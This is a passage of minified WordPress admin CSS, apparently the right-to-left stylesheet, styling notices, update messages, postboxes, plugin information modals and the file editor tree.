2px;padding:8px 12px}div[class=update-message]{padding:.5em 0 .5em 12px}.form-table td .notice p,.notice p,.notice-title,div.error p,div.updated p{margin:.5em 0;padding:0;font-size:13px;line-height:1.54;color:#1e1e1e}div.error a,div.notice a,div.updated a{color:var(--wp-admin-theme-color-darker-10);text-decoration:underline}div.error a:hover,div.notice a:hover,div.updated a:hover{color:var(--wp-admin-theme-color-darker-20)}div.error a:focus,div.notice a:focus,div.updated a:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent;border-radius:2px}.notice-alt{box-shadow:none}.notice-large{padding:10px 20px}.notice-title{display:inline-block;color:#1d2327;font-size:18px}.wp-core-ui .notice.is-dismissible{padding-left:48px;position:relative}.notice-dismiss{position:absolute;top:12px;left:12px;border:none;margin:0;padding:0;background:0 0;color:#1e1e1e;cursor:pointer;width:24px;height:24px;display:flex;align-items:center;justify-content:center;border-radius:2px}.notice-dismiss:active:before,.notice-dismiss:hover:before{color:#1e1e1e;opacity:.7}.notice-dismiss:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent}.notice-dismiss:focus:before{color:#1e1e1e}.notice-success,div.updated{border-right-color:#4ab866;background-color:#eff9f1}.notice-success.notice-alt,div.updated.notice-alt{background-color:#eff9f1}.notice-warning{border-right-color:#f0b849;background-color:#fef8ee}.notice-warning.notice-alt{background-color:#fef8ee}.notice-error,div.error{border-right-color:#cc1818;background-color:#fcf0f0}.notice-error.notice-alt,div.error.notice-alt{background-color:#fcf0f0}.notice-info{border-right-color:#3858e9;background-color:#fff}.notice-info.notice-alt{background-color:#fff}#plugin-information-footer .update-now:not(.button-disabled):before{color:#d63638;content:"\f463";content:"\f463"/'';display:inline-block;font:normal 20px/1 dashicons;margin:-3px -2px 0 5px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:middle}#plugin-information-footer .notice{margin-top:-5px}.button.activated-message:before,.button.activating-message:before,.button.installed:before,.button.installing:before,.button.updated-message:before,.button.updating-message:before,.import-php .updating-message:before,.update-message p:before,.updated-message p:before,.updating-message p:before{display:inline-block;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:top}.media-upload-form .notice,.media-upload-form div.error,.wrap .notice,.wrap div.error,.wrap div.updated{margin:5px 0 15px}.wrap #templateside .notice{display:block;margin:0;padding:5px 8px;font-weight:600;text-decoration:none}.wrap #templateside span.notice{margin-right:-12px}#templateside li.notice a{padding:0}.button.activating-message:before,.button.installing:before,.button.updating-message:before,.import-php .updating-message:before,.update-message p:before,.updating-message p:before{color:#d63638;content:"\f463";content:"\f463"/''}.button.activating-message:before,.button.installing:before,.button.updating-message:before,.import-php .updating-message:before,.plugins .column-auto-updates .dashicons-update.spin,.theme-overlay .theme-autoupdate .dashicons-update.spin,.updating-message p:before{animation:rotation 2s infinite linear}@media (prefers-reduced-motion:reduce){.button.activating-message:before,.button.installing:before,.button.updating-message:before,.import-php .updating-message:before,.plugins .column-auto-updates .dashicons-update.spin,.theme-overlay .theme-autoupdate .dashicons-update.spin,.updating-message p:before{animation:none}}.theme-overlay .theme-autoupdate .dashicons-update.spin{margin-left:3px}.button.activated-message:before,.button.updated-message:before,.installed p:before,.updated-message p:before{color:#68de7c;content:"\f147";content:"\f147"/''}.update-message.notice-error p:before{color:#d63638;content:"\f534";content:"\f534"/''}.import-php .updating-message:before,.wrap .notice p:before{margin-left:6px}.import-php .updating-message:before{vertical-align:bottom}#update-nag,.update-nag{display:inline-block;line-height:1.4;padding:11px 15px;font-size:14px;margin:25px 2px 0 20px}ul#dismissed-updates{display:none}#dismissed-updates li>p{margin-top:0}#dismiss,#undismiss{margin-right:.5em}form.upgrade{margin-top:8px}form.upgrade .hint{font-style:italic;font-size:85%;margin:-.5em 0 2em}.update-php .spinner{float:none;margin:-4px 0}h2.wp-current-version{margin-bottom:.3em}p.update-last-checked{margin-top:0}p.auto-update-status{margin-top:2em;line-height:1.8}#ajax-loading,.ajax-feedback,.ajax-loading,.imgedit-wait-spin,.list-ajax-loading{visibility:hidden}#ajax-response.alignleft{margin-right:2em}.button.activated-message:before,.button.activating-message:before,.button.installed:before,.button.installing:before,.button.updated-message:before,.button.updating-message:before{margin:0 -2px 0 5px;line-height:1.9;vertical-align:top}#plugin-information-footer .button{padding:0 14px;line-height:2.71428571;font-size:14px;vertical-align:middle;min-height:40px;margin-bottom:4px}#plugin-information-footer .button.activated-message:before,#plugin-information-footer .button.activating-message:before,#plugin-information-footer .button.installed:before,#plugin-information-footer .button.installing:before,#plugin-information-footer .button.updated-message:before,#plugin-information-footer .button.updating-message:before{margin:0 -2px 0 5px;line-height:1.9;vertical-align:top}#plugin-information-footer .button.update-now.updating-message:before{margin:0 -2px 0 5px}.button-primary.activating-message:before,.button-primary.updating-message:before{color:#fff}.button-primary.activated-message:before,.button-primary.updated-message:before{color:#9ec2e6}.button.activated-message,.button.updated-message{transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out}#adminmenu a,#catlist a,#taglist a{text-decoration:none}#contextual-help-wrap,#screen-options-wrap{margin:0;padding:8px 20px 12px;position:relative}#contextual-help-wrap{overflow:auto;margin-right:0}#screen-meta-links{float:left;margin:0 0 0 20px}#screen-meta{display:none;margin:0 0 -1px 20px;position:relative;background-color:#fff;border:1px solid #c3c4c7;border-top:none;box-shadow:0 0 0 transparent}#contextual-help-link-wrap,#screen-options-link-wrap{float:right;margin:0 6px 0 0}#screen-meta-links .screen-meta-toggle{position:relative;top:0}#screen-meta-links .show-settings{border:1px solid #c3c4c7;border-top:none;height:auto;margin-bottom:0;padding:0 16px 0 6px;background:#fff;border-radius:0 0 4px 4px;color:#646970;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear}#screen-meta-links .show-settings:active,#screen-meta-links .show-settings:focus,#screen-meta-links .show-settings:hover{color:#2c3338}#screen-meta-links .show-settings:focus{border-color:var(--wp-admin-theme-color,#3858e9);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}#screen-meta-links .show-settings:active{transform:none}#screen-meta-links .show-settings:after{left:0;content:"\f140";content:"\f140"/'';font:normal 20px/1.5 dashicons;display:inline-block;padding:0 0 0 5px;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none}#screen-meta-links .screen-meta-active:after{content:"\f142";content:"\f142"/''}.toggle-arrow{background-repeat:no-repeat;background-position:top right;background-color:transparent;height:22px;line-height:22px;display:block}.toggle-arrow-active{background-position:bottom right}#contextual-help-wrap h5,#screen-options-wrap h5,#screen-options-wrap legend{margin:0;padding:8px 0;font-size:13px;font-weight:600}.metabox-prefs label{display:inline-block;padding-left:15px;line-height:2.35}#number-of-columns{display:inline-block;vertical-align:middle;line-height:30px}.metabox-prefs input[type=checkbox]{margin-top:0;margin-left:6px}.metabox-prefs label input,.metabox-prefs label input[type=checkbox]{margin:-4px 0 0 5px}.metabox-prefs .columns-prefs label input{margin:-1px 0 0 2px}.metabox-prefs label a{display:none}.metabox-prefs .screen-options input,.metabox-prefs .screen-options label{margin-top:0;margin-bottom:0;vertical-align:middle}.metabox-prefs .screen-options .screen-per-page{margin-left:15px;padding-left:0}.metabox-prefs .screen-options label{line-height:2.2;padding-left:0}.screen-options+.screen-options{margin-top:10px}.metabox-prefs .submit{margin-top:1em;padding:0}#contextual-help-wrap{padding:0}#contextual-help-columns{position:relative}#contextual-help-back{position:absolute;top:0;bottom:0;right:150px;left:170px;border:1px solid #c3c4c7;border-top:none;border-bottom:none;background:rgba(var(--wp-admin-theme-color--rgb),.08)}#contextual-help-wrap.no-sidebar #contextual-help-back{left:0;border-left-width:0;border-bottom-left-radius:2px}.contextual-help-tabs{float:right;width:150px;margin:0}.contextual-help-tabs ul{margin:1em 0}.contextual-help-tabs li{margin-bottom:0;list-style-type:none;border-style:solid;border-width:0 2px 0 0;border-color:transparent}.contextual-help-tabs a{display:block;padding:5px 12px 5px 5px;line-height:1.4;text-decoration:none;border:1px solid transparent;border-left:none;border-right:none}.contextual-help-tabs a:hover{color:#2c3338}.contextual-help-tabs .active{padding:0;margin:0 0 0 -1px;border-right:2px solid var(--wp-admin-theme-color);background:color-mix(in srgb,var(--wp-admin-theme-color) 8%,#fff);box-shadow:0 2px 0 rgba(0,0,0,.02),0 1px 0 rgba(0,0,0,.02)}.contextual-help-tabs .active a{border-color:#c3c4c7;color:#2c3338}.contextual-help-tabs-wrap{padding:0 20px;overflow:auto}.help-tab-content{display:none;margin:0 0 12px 22px;line-height:1.6}.help-tab-content.active{display:block}.help-tab-content ul li{list-style-type:disc;margin-right:18px}.contextual-help-sidebar{width:150px;float:left;padding:0 12px 0 8px;overflow:auto}html.wp-toolbar{padding-top:var(--wp-admin--admin-bar--height);box-sizing:border-box;-ms-overflow-style:scrollbar}.widefat td,.widefat th{color:#50575e}.widefat tfoot td,.widefat th,.widefat thead td{font-weight:400}.widefat tfoot tr td,.widefat tfoot tr th,.widefat thead tr td,.widefat thead tr th{color:#2c3338}.widefat td p{margin:2px 0 .8em}.widefat ol,.widefat p,.widefat ul{color:#2c3338}.widefat .column-comment p{margin:.6em 0}.widefat .column-comment ul{list-style:initial;margin-right:2em}.postbox-container{float:right}.postbox-container .meta-box-sortables{box-sizing:border-box}#wpbody-content .metabox-holder{padding-top:10px}.metabox-holder .postbox-container .meta-box-sortables{min-height:1px;position:relative}#post-body-content{width:100%;min-width:463px;float:right}#post-body.columns-2 #postbox-container-1{float:left;margin-left:-300px;width:280px}#post-body.columns-2 #side-sortables{min-height:250px}@media only screen and (max-width:799px){#wpbody-content .metabox-holder .postbox-container .empty-container{outline:0;height:0;min-height:0}}.js .postbox .hndle,.js .widget .widget-top{cursor:move}.js .postbox .hndle.is-non-sortable,.js .widget .widget-top.is-non-sortable{cursor:auto}.hndle a{font-size:12px;font-weight:400}.postbox-header{display:flex;align-items:center;justify-content:space-between;border-bottom:1px solid #c3c4c7}.postbox-header .hndle{flex-grow:1;display:flex;justify-content:space-between;align-items:center}.postbox-header .handle-actions{flex-shrink:0}.postbox .handle-order-higher,.postbox .handle-order-lower,.postbox .handlediv{width:1.62rem;height:1.62rem;margin:0;padding:0;border:0;background:0 0;cursor:pointer}.postbox .handle-order-higher,.postbox .handle-order-lower{color:#646970;width:1.62rem}.edit-post-meta-boxes-area .postbox .handle-order-higher,.edit-post-meta-boxes-area .postbox .handle-order-lower{width:44px;height:44px;color:#1d2327}.postbox .handle-order-higher[aria-disabled=true],.postbox .handle-order-lower[aria-disabled=true]{cursor:default;color:#a7aaad}.sortable-placeholder:not(.empty-container .sortable-placeholder){border:1px dashed #c3c4c7;border-radius:8px;margin-bottom:20px}.postbox,.stuffbox{margin-bottom:20px;padding:0;line-height:1}.postbox.closed .postbox-header{border-bottom:0}.postbox .hndle,.stuffbox .hndle{-webkit-user-select:none;user-select:none}.postbox .inside{padding:0 12px 12px;line-height:1.4;font-size:13px}.stuffbox .inside{padding:0;line-height:1.4;font-size:13px;margin-top:0}.postbox .inside{margin:11px 0;position:relative}.postbox .inside>p:last-child,.rss-widget ul li:last-child{margin-bottom:1px!important}.postbox.closed h3{border:none;box-shadow:none}.postbox table.form-table{margin-bottom:0}.postbox table.widefat{box-shadow:none}.temp-border{border:1px dotted #c3c4c7}.columns-prefs label{padding:0 0 0 10px}#adminmenu .wp-submenu li.current,#adminmenu .wp-submenu li.current a,#adminmenu .wp-submenu li.current a:hover,#comment-status-display,#dashboard_right_now .versions .b,#ed_reply_toolbar #ed_reply_strong,#pass-strength-result.short,#pass-strength-result.strong,#post-status-display,#post-visibility-display,.feature-filter .feature-name,.item-controls .item-order a,.media-item .percent,.plugins .name{font-weight:600}#wpfooter{position:absolute;bottom:0;right:0;left:0;padding:10px 20px;color:#50575e}#wpfooter p{font-size:13px;margin:0;line-height:1.55}#footer-thankyou{font-style:italic}.nav-tab{float:right;border:1px solid #c3c4c7;border-bottom:none;margin-right:.5em;padding:5px 10px;font-size:14px;line-height:1.71428571;font-weight:600;background:#dcdcde;color:#50575e;text-decoration:none;white-space:nowrap}.nav-tab-small .nav-tab,h3 .nav-tab{padding:5px 14px;font-size:12px;line-height:1.33}.nav-tab:focus,.nav-tab:hover{background-color:#fff;color:#3c434a}.nav-tab-active,.nav-tab:focus:active{box-shadow:none}.nav-tab-active{margin-bottom:-1px;color:#3c434a}.nav-tab-active,.nav-tab-active:focus,.nav-tab-active:focus:active,.nav-tab-active:hover{border-bottom:1px solid #f0f0f1;background:#f0f0f1;color:#000}.nav-tab-wrapper,.wrap h2.nav-tab-wrapper,h1.nav-tab-wrapper{border-bottom:1px solid #c3c4c7;margin:0;padding-top:9px;padding-bottom:0;line-height:inherit}.nav-tab-wrapper:not(.wp-clearfix):after{content:"";display:table;clear:both}.spinner{background:url(../images/spinner.gif) no-repeat;background-size:20px 20px;display:inline-block;visibility:hidden;float:left;vertical-align:middle;opacity:.7;width:20px;height:20px;margin:10px 10px 0}.loading-content .spinner,.spinner.is-active{visibility:visible}#template>div{margin-left:16em}#template .notice{margin-top:1em;margin-left:3%}#template .notice p{width:auto}#template .submit .spinner{float:none;vertical-align:top}.metabox-holder .postbox>h3,.metabox-holder .stuffbox>h3,.metabox-holder h2.hndle,.metabox-holder h3.hndle{font-size:14px;padding:8px 12px;margin:0;line-height:1.4}.nav-menus-php .metabox-holder h3{padding:0}.accordion-container h3.accordion-section-title{padding:0!important}.accordion-section-title button.accordion-trigger,.nav-menus-php .metabox-holder .accordion-section-title button.accordion-trigger{background:inherit;color:#1d2327;display:block;position:relative;text-align:right;width:100%;outline:0;border:0;padding:10px 14px 11px 10px;line-height:1.5;cursor:pointer}.accordion-section-title button.accordion-trigger:focus,.nav-menus-php .metabox-holder .accordion-section-title button.accordion-trigger:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.accordion-section-title span.dashicons.dashicons-arrow-down,.nav-menus-php .metabox-holder .accordion-section-title span.dashicons.dashicons-arrow-down{position:absolute;left:10px;right:auto;color:#787c82;border-radius:50px;top:50%;transform:translateY(-50%)}.accordion-section-title:hover span.dashicons.dashicons-arrow-down,.nav-menus-php .metabox-holder .accordion-section-title:hover span.dashicons.dashicons-arrow-down{color:#1d2327}.accordion-section-title span.dashicons.dashicons-arrow-down::before,.nav-menus-php .metabox-holder .accordion-section-title span.dashicons.dashicons-arrow-down::before{position:relative;right:-1px}.accordion-section.open .accordion-section-title span.dashicons.dashicons-arrow-down,.nav-menus-php .metabox-holder .accordion-section.open .accordion-section-title span.dashicons.dashicons-arrow-down{transform:rotate(-180deg) translate(0,50%)}#templateside ul li a{text-decoration:none}.plugin-install #description,.plugin-install-network #description{width:60%}table .column-rating,table .column-visible,table .vers{text-align:right}.attention,.error-message{color:#d63638;font-weight:600}body.iframe{height:98%}.lp-show-latest p{display:none}.lp-show-latest .lp-error p,.lp-show-latest p:last-child{display:block}.media-icon{width:62px;text-align:center}.media-icon img{border:1px solid #dcdcde;border:1px solid rgba(0,0,0,.07)}#howto{font-size:11px;margin:0 5px;display:block}.importers{font-size:16px;width:auto}.importers td{padding-left:14px;line-height:1.4}.importers .import-system{max-width:250px}.importers td.desc{max-width:500px}.importer-action,.importer-desc,.importer-title{display:block}.importer-title{color:#000;font-size:14px;font-weight:400;margin-bottom:.2em}.importer-action{line-height:1.55;color:#50575e;margin-bottom:1em}#post-body #post-body-content #namediv h2,#post-body #post-body-content #namediv h3{margin-top:0}.edit-comment-author{color:#1d2327;border-bottom:1px solid #f0f0f1}#namediv h2 label,#namediv h3 label{vertical-align:baseline}#namediv table{width:100%}#namediv td.first{width:10px;white-space:nowrap}#namediv input{width:100%}#namediv p{margin:10px 0}.zerosize{height:0;width:0;margin:0;border:0;padding:0;overflow:hidden;position:absolute}br.clear{height:2px;line-height:.15}.checkbox{border:none;margin:0;padding:0}fieldset{border:0;padding:0;margin:0}.post-categories{display:inline;margin:0;padding:0}.post-categories li{display:inline}div.star-holder{position:relative;height:17px;width:100px;background:url(../images/stars.png?ver=20121108) repeat-x bottom right}div.star-holder .star-rating{background:url(../images/stars.png?ver=20121108) repeat-x top right;height:17px;float:right}.star-rating{white-space:nowrap}.star-rating .star{display:inline-block;width:20px;height:20px;-webkit-font-smoothing:antialiased;font-size:20px;line-height:1;font-family:dashicons;text-decoration:inherit;font-weight:400;font-style:normal;vertical-align:top;transition:color .1s ease-in;text-align:center;color:#dba617}.star-rating .star-full:before{content:"\f155";content:"\f155"/''}.star-rating .star-half:before{content:"\f459";content:"\f459"/''}.rtl .star-rating .star-half{transform:rotateY(-180deg)}.star-rating .star-empty:before{content:"\f154";content:"\f154"/''}div.action-links{font-weight:400;margin:6px 0 0}#plugin-information{background:#fff;position:fixed;top:0;left:0;bottom:0;right:0;height:100%;padding:0}#plugin-information-scrollable{overflow:auto;-webkit-overflow-scrolling:touch;height:100%}#plugin-information-title{padding:0 26px;background:#f6f7f7;font-size:22px;font-weight:600;line-height:2.4;position:relative;height:56px}#plugin-information-title.with-banner{margin-left:0;height:250px;background-size:cover}#plugin-information-title h2{font-size:1em;font-weight:600;padding:0;margin:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}#plugin-information-title.with-banner h2{position:relative;font-family:"Helvetica Neue",sans-serif;display:inline-block;font-size:30px;line-height:1.68;box-sizing:border-box;max-width:100%;padding:0 15px;margin-top:174px;color:#fff;background:rgba(29,35,39,.9);text-shadow:0 1px 3px rgba(0,0,0,.4);box-shadow:0 0 30px rgba(255,255,255,.1);border-radius:8px}#plugin-information-title div.vignette{display:none}#plugin-information-title.with-banner div.vignette{position:absolute;display:block;top:0;right:0;height:250px;width:100%;background:0 0;box-shadow:inset 0 0 50px 4px rgba(0,0,0,.2),inset 0 -1px 0 rgba(0,0,0,.1)}#plugin-information-tabs{padding:0 16px;position:relative;left:0;right:0;min-height:36px;font-size:0;z-index:1;border-bottom:1px solid #dcdcde;background:#f6f7f7}#plugin-information-tabs a{position:relative;display:inline-block;padding:9px 10px;margin:0;height:18px;line-height:1.3;font-size:14px;text-decoration:none;transition:none}#plugin-information-tabs a.current{margin:0 -1px -1px;background:#fff;border:1px solid #dcdcde;border-bottom-color:#fff;padding-top:8px;color:#2c3338}#plugin-information-tabs.with-banner a.current{border-top:none;padding-top:9px}#plugin-information-tabs a:active,#plugin-information-tabs a:focus{outline:0}#plugin-information-content{overflow:hidden;background:#fff;position:relative;top:0;left:0;right:0;min-height:100%;min-height:calc(100% - 152px)}#plugin-information-content.with-banner{min-height:calc(100% - 346px)}#section-holder{position:relative;top:0;left:250px;bottom:0;right:0;margin-top:10px;margin-left:250px;padding:10px 26px 99999px;margin-bottom:-99932px}#section-holder .notice{margin:5px 0 15px}#section-holder .updated{margin:16px 0}#plugin-information .fyi{float:left;position:relative;top:0;left:0;padding:16px 16px 99999px;margin-bottom:-99932px;width:217px;border-right:1px solid #dcdcde;background:#f6f7f7;color:#646970}#plugin-information .fyi strong{color:#3c434a}#plugin-information .fyi h3{font-weight:600;text-transform:uppercase;font-size:12px;color:#646970;margin:24px 0 8px}#plugin-information .fyi h2{font-size:.9em;margin-bottom:0;margin-left:0}#plugin-information .fyi ul{padding:0;margin:0;list-style:none}#plugin-information .fyi li{margin:0 0 10px}#plugin-information .fyi-description{margin-top:0}#plugin-information .counter-container{margin:3px 0}#plugin-information .counter-label{float:right;margin-left:5px;min-width:55px}#plugin-information .counter-back{height:17px;width:92px;background-color:#dcdcde;float:right}#plugin-information .counter-bar{height:17px;background-color:#f0c33c;float:right}#plugin-information .counter-count{margin-right:5px}#plugin-information .fyi ul.contributors{margin-top:10px}#plugin-information .fyi ul.contributors li{display:inline-block;margin-left:8px;vertical-align:middle}#plugin-information .fyi ul.contributors li{display:inline-block;margin-left:8px;vertical-align:middle}#plugin-information .fyi ul.contributors li img{vertical-align:middle;margin-left:4px}#plugin-information-footer{padding:13px 16px;position:absolute;left:0;bottom:0;right:0;height:40px;border-top:1px solid #dcdcde;background:#f6f7f7}#plugin-information .section{direction:ltr}#plugin-information .section ol,#plugin-information .section ul{list-style-type:disc;margin-left:24px}#plugin-information .section,#plugin-information .section p{font-size:14px;line-height:1.7}#plugin-information #section-screenshots ol{list-style:none;margin:0}#plugin-information #section-screenshots li img{vertical-align:text-top;margin-top:16px;max-width:100%;width:auto;height:auto;box-shadow:0 1px 2px rgba(0,0,0,.3)}#plugin-information #section-screenshots li p{font-style:italic;padding-left:20px}#plugin-information pre{padding:7px;overflow:auto;border:1px solid #c3c4c7}#plugin-information blockquote{border-right:2px solid #dcdcde;color:#646970;font-style:italic;margin:1em 0;padding:0 1em 0 0}#plugin-information .review{overflow:hidden;width:100%;margin-bottom:20px;border-bottom:1px solid #dcdcde}#plugin-information .review-title-section{overflow:hidden}#plugin-information .review-title-section h4{display:inline-block;float:left;margin:0 6px 0 0}#plugin-information .reviewer-info p{clear:both;margin:0;padding-top:2px}#plugin-information .reviewer-info .avatar{float:left;margin:4px 6px 0 0}#plugin-information .reviewer-info .star-rating{float:left}#plugin-information .review-meta{float:left;margin-left:.75em}#plugin-information .review-body{float:left;width:100%}.plugin-version-author-uri{font-size:13px}.update-php .button.button-primary{margin-left:1em}@media screen and (max-width:771px){#plugin-information-title.with-banner{height:100px}#plugin-information-title.with-banner h2{margin-top:30px;font-size:20px;line-height:2;max-width:85%}#plugin-information-title.with-banner div.vignette{height:100px}#plugin-information-tabs{overflow:hidden;padding:0;height:auto}#plugin-information-tabs a.current{margin-bottom:0;border-bottom:none}#plugin-information .fyi{float:none;border:1px solid #dcdcde;position:static;width:auto;margin:26px 26px 0;padding-bottom:0}#section-holder{position:static;margin:0;padding-bottom:70px}#plugin-information .fyi h3,#plugin-information .fyi small{display:none}#plugin-information-footer{padding:12px 16px 0;height:46px}}#TB_window.plugin-details-modal{background:#fff}#TB_window.plugin-details-modal.thickbox-loading:before{content:"";display:block;width:20px;height:20px;position:absolute;right:50%;top:50%;z-index:-1;margin:-10px -10px 0 0;background:#fff url(../images/spinner.gif) no-repeat center;background-size:20px 20px;transform:translateZ(0)}@media print,(min-resolution:120dpi){#TB_window.plugin-details-modal.thickbox-loading:before{background-image:url(../images/spinner-2x.gif)}}.plugin-details-modal #TB_title{float:right;height:1px}.plugin-details-modal #TB_ajaxWindowTitle{display:none}.plugin-details-modal #TB_closeWindowButton{right:auto;left:-30px;color:#f0f0f1}.plugin-details-modal #TB_closeWindowButton:focus,.plugin-details-modal #TB_closeWindowButton:hover{outline:0;box-shadow:none}.plugin-details-modal #TB_closeWindowButton:focus::after,.plugin-details-modal #TB_closeWindowButton:hover::after{outline:2px solid;outline-offset:-4px;border-radius:4px}.plugin-details-modal .tb-close-icon{display:none}.plugin-details-modal #TB_closeWindowButton:after{content:"\f335";content:"\f335"/'';font:normal 32px/29px dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@media screen and (max-width:830px){.plugin-details-modal #TB_closeWindowButton{left:0;top:-30px}}img{border:none}.bulk-action-notice .toggle-indicator::before,.meta-box-sortables .postbox .order-higher-indicator::before,.meta-box-sortables .postbox .order-lower-indicator::before,.meta-box-sortables .postbox .toggle-indicator::before,.privacy-text-box .toggle-indicator::before,.sidebar-name .toggle-indicator::before{content:"\f142";content:"\f142"/'';display:inline-block;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none}.bulk-action-notice .bulk-action-errors-collapsed .toggle-indicator::before,.js .widgets-holder-wrap.closed .toggle-indicator::before,.meta-box-sortables .postbox.closed .handlediv .toggle-indicator::before,.privacy-text-box.closed .toggle-indicator::before{content:"\f140";content:"\f140"/''}.postbox .handle-order-higher .order-higher-indicator::before{content:"\f343";content:"\f343"/'';color:inherit}.postbox .handle-order-lower .order-lower-indicator::before{content:"\f347";content:"\f347"/'';color:inherit}.postbox .handle-order-higher .order-higher-indicator::before,.postbox .handle-order-lower .order-lower-indicator::before{position:relative;top:.11rem;width:20px;height:20px}.postbox .handlediv .toggle-indicator::before{width:20px;border-radius:50%}.postbox .handlediv .toggle-indicator::before{position:relative;top:.05rem;text-indent:-1px}.rtl .postbox .handlediv .toggle-indicator::before{text-indent:1px}.bulk-action-notice .toggle-indicator::before{line-height:16px;vertical-align:top;color:#787c82}.postbox .handle-order-higher:focus,.postbox .handle-order-lower:focus,.postbox .handlediv:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);border-radius:50%;outline:2px solid transparent}.postbox .handle-order-higher:focus .order-higher-indicator::before,.postbox .handle-order-lower:focus .order-lower-indicator::before,.postbox .handlediv:focus .toggle-indicator::before{box-shadow:none;outline:1px solid transparent}#photo-add-url-div input[type=text]{width:300px}.alignleft h2{margin:0}#template textarea{font-family:Consolas,Monaco,monospace;font-size:13px;background:#f6f7f7;tab-size:4}#template .CodeMirror,#template textarea{width:100%;min-height:60vh;height:calc(100vh - 295px);border:1px solid #dcdcde;box-sizing:border-box}#templateside>h2{padding-top:6px;padding-bottom:7px;margin:0}#templateside ol,#templateside ul{margin:0;padding:0}#templateside>ul{box-sizing:border-box;margin-top:0;overflow:auto;padding:0;min-height:60vh;height:calc(100vh - 295px);background-color:#f6f7f7;border:1px solid #dcdcde;border-right:none}#templateside ul ul{padding-right:12px}#templateside>ul>li>ul[role=group]{padding-right:0}[role=treeitem][aria-expanded=false]>ul{display:none}[role=treeitem] span[aria-hidden]{display:inline;font-family:dashicons;font-size:20px;position:absolute;pointer-events:none}[role=treeitem][aria-expanded=false]>.folder-label .icon:after{content:"\f141";content:"\f139"/''}[role=treeitem][aria-expanded=true]>.folder-label .icon:after{content:"\f140";content:"\f140"/''}[role=treeitem] .folder-label{display:block;padding:3px 12px 3px 3px;cursor:pointer}[role=treeitem]{outline:0}[role=treeitem] .folder-label.focus,[role=treeitem] a:focus{color:#043959;box-shadow:none;outline:2px solid var(--wp-admin-theme-color,#3858e9);outline-offset:-2px}[role=treeitem] .folder-label.hover,[role=treeitem].hover{background-color:#f0f0f1}.tree-folder{margin:0;position:relative}[role=treeitem] li{position:relative}.tree-folder .tree-folder::after{content:"";display:block;position:absolute;right:2px;border-right:1px solid #c3c4c7;top:-13px;bottom:10px}.tree-folder>li::before{content:"";position:absolute;display:block;border-right:1px solid #c3c4c7;right:2px;top:-5px;height:18px;width:7px;border-bottom:1px solid #c3c4c7}.tree-folder>li::after{content:"";position:absolute;display:block;border-right:1px solid #c3c4c7;right:2px;bottom:-7px;top:0}#templateside .current-file{margin:-4px 0 -2px}.tree-folder>.current-file::before{right:4px;height:15px;width:0;border-right:none;top:3px}.tree-folder>.current-file::after{bottom:-4px;height:7px;right:2px;top:auto}.tree-folder li:last-child>.tree-folder::after,.tree-folder>li:last-child::after{display:none}#documentation label,#theme-plugin-editor-label,#theme-plugin-editor-selector{font-weight:600}#theme-plugin-editor-label{display:inline-block;margin-bottom:1em}#docs-list,#template textarea{direction:ltr}.fileedit-sub #plugin,.fileedit-sub #theme{max-width:40%}.fileedit-sub .alignright{text-align:left}#template p{width:97%}#file-editor-linting-error{margin-top:1em;margin-bottom:1em}#file-editor-linting-error>.notice{margin:0;display:inline-block}#file-editor-linting-error>.notice>p{width:auto}#template .submit{margin-top:1em;padding:0}#template .submit input[type=submit][disabled]{cursor:not-allowed}#templateside{float:left;width:16em;word-wrap:break-word}#postcustomstuff p.submit{margin:0}#templateside h4{margin:1em 0 0}#templateside li{margin:4px 0}#templateside li:not(.howto) a,.theme-editor-php .highlight{display:block;padding:3px 12px 3px 0;text-decoration:none}#templateside li.current-file>a{padding-bottom:0}#templateside li:not(.howto)>a:first-of-type{padding-top:0}#templateside li.howto{padding:6px 12px 12px}.theme-editor-php .highlight{margin:-3px -12px -3px 3px}#templateside .highlight{border:none;font-weight:600}.nonessential{color:#646970;font-size:11px;font-style:italic;padding-right:12px}#documentation{margin-top:10px}#documentation label{line-height:1.8;vertical-align:baseline}.fileedit-sub{padding:10px 0 8px;line-height:180%}#file-editor-warning .file-editor-warning-content{margin:25px}.nav-menus-php .item-edit:before,.widget-top .widget-action .toggle-indicator:before,.wp-customizer .accordion-section-title:after,.wp-customizer .control-section .accordion-section-title:after{content:"\f140";content:"\f140"/'';font:normal 20px/1 dashicons;display:block;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none}.widget-top .widget-action .toggle-indicator:before{padding:1px 0 1px 2px;border-radius:50%}.handlediv,.item-edit,.postbox .handlediv.button-link,.toggle-indicator{color:#646970}.widget-action{color:#50575e}.handlediv:focus,.handlediv:hover,.item-edit:focus,.item-edit:hover,.postbox .handlediv.button-link:focus,.postbox .handlediv.button-link:hover,.sidebar-name:hover .toggle-indicator,.widget-action:focus,.widget-top:hover .widget-action{color:#1d2327;outline:2px solid transparent}.widget-top .widget-action:focus .toggle-indicator:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}#customize-info.open .accordion-section-title:after,.nav-menus-php .menu-item-edit-active .item-edit:before,.widget.open .widget-top .widget-action .toggle-indicator:before,.widget.widget-in-question .widget-top .widget-action .toggle-indicator:before{content:"\f142";content:"\f142"/''}/*! * jQuery UI Draggable/Sortable 1.11.4 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */.ui-draggable-handle,.ui-sortable-handle{touch-action:none}.accordion-section{border-bottom:1px solid #dcdcde;margin:0}.accordion-section.open 